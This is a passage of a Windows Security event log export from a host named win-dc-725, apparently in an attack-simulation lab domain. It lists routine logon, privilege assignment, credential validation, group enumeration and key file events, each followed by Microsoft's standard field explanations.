remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:39:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245772 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 2 - Restricted Admin Mode: - - Virtual Account: Yes - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: Window Manager\DWM-1 - Account Name: DWM-1 - Account Domain: Window Manager - Logon ID: 0xA1BD - Linked Logon ID: 0xA1D2 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x304 - Process Name: C:\Windows\System32\winlogon.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:39:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245771 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: DWM-1 - Account Domain: Window Manager - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x304 - Process Name: C:\Windows\System32\winlogon.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:39:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245770 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: NETWORK SERVICE - Account Domain: NT AUTHORITY - Logon ID: 0x3E4 - -Privileges: SeAssignPrimaryTokenPrivilege - SeAuditPrivilege - SeImpersonatePrivilege -03/11/2021 11:39:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245769 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: NETWORK SERVICE - Account Domain: NT AUTHORITY - Logon ID: 0x3E4 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x34c - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:39:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=5061 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=System Integrity -OpCode=Info -RecordNumber=245800 -Keywords=Audit Success -Message=Cryptographic operation. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Cryptographic Parameters: - Provider Name: Microsoft Software Key Storage Provider - Algorithm Name: RSA - Key Name: TSSecKeySet1 - Key Type: Machine key. - -Cryptographic Operation: - Operation: Open Key. - Return Code: 0x0 -03/11/2021 11:39:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=5058 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Other System Events -OpCode=Info -RecordNumber=245799 -Keywords=Audit Success -Message=Key file operation. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Cryptographic Parameters: - Provider Name: Microsoft Software Key Storage Provider - Algorithm Name: UNKNOWN - Key Name: TSSecKeySet1 - Key Type: Machine key. - -Key File Operation Information: - File Path: C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\f686aace6942fb7f7ceb231212eef4a4_df39b6b4-63d4-40b3-b2d0-118f8f0b6015 - Operation: Read persisted key from file. - Return Code: 0x0 -03/11/2021 11:39:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=5061 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=System Integrity -OpCode=Info -RecordNumber=245798 -Keywords=Audit Success -Message=Cryptographic operation. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Cryptographic Parameters: - Provider Name: Microsoft Software Key Storage Provider - Algorithm Name: RSA - Key Name: TSSecKeySet1 - Key Type: Machine key. - -Cryptographic Operation: - Operation: Open Key. - Return Code: 0x0 -03/11/2021 11:39:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=5058 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Other System Events -OpCode=Info -RecordNumber=245797 -Keywords=Audit Success -Message=Key file operation. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Cryptographic Parameters: - Provider Name: Microsoft Software Key Storage Provider - Algorithm Name: UNKNOWN - Key Name: TSSecKeySet1 - Key Type: Machine key. - -Key File Operation Information: - File Path: C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\f686aace6942fb7f7ceb231212eef4a4_df39b6b4-63d4-40b3-b2d0-118f8f0b6015 - Operation: Read persisted key from file. - Return Code: 0x0 -03/11/2021 11:39:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245796 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x418 - Process Name: C:\Windows\System32\svchost.exe -03/11/2021 11:39:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245795 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x418 - Process Name: C:\Windows\System32\svchost.exe -03/11/2021 11:39:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=5024 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Other System Events -OpCode=Info -RecordNumber=245794 -Keywords=Audit Success -Message=The Windows Firewall service started successfully. -03/11/2021 11:39:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245806 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x23E17 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:39:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245805 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x23E17 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:39:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245804 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:39:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245803 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:39:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=5061 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=System Integrity -OpCode=Info -RecordNumber=245802 -Keywords=Audit Success -Message=Cryptographic operation. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Cryptographic Parameters: - Provider Name: Microsoft Software Key Storage Provider - Algorithm Name: RSA - Key Name: tp-ffd20473-3ab1-4c47-b08e-a6a20f099540 - Key Type: Machine key. - -Cryptographic Operation: - Operation: Open Key. - Return Code: 0x0 -03/11/2021 11:39:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=5058 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Other System Events -OpCode=Info -RecordNumber=245801 -Keywords=Audit Success -Message=Key file operation. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Cryptographic Parameters: - Provider Name: Microsoft Software Key Storage Provider - Algorithm Name: UNKNOWN - Key Name: 34f20231e4ca291eb1b001b659a999f1_df39b6b4-63d4-40b3-b2d0-118f8f0b6015 - Key Type: Machine key. - -Key File Operation Information: - File Path: C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\34f20231e4ca291eb1b001b659a999f1_df39b6b4-63d4-40b3-b2d0-118f8f0b6015 - Operation: Read persisted key from file. - Return Code: 0x0 -03/11/2021 11:39:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245815 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x249A3 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:39:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245814 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x249A3 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:39:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245813 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:39:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245812 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:39:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245811 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x247A8 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:39:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245810 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x247A8 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:39:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245809 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:39:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245808 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:39:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245807 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x418 - Process Name: C:\Windows\System32\svchost.exe -03/11/2021 11:39:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=245821 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x2BE1C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:39:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245820 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x2BE1C - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:39:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245819 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x2BE1C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:39:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245818 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:39:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245817 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:39:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=245816 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x249A3 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:39:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245862 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x31538 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:39:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245861 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: 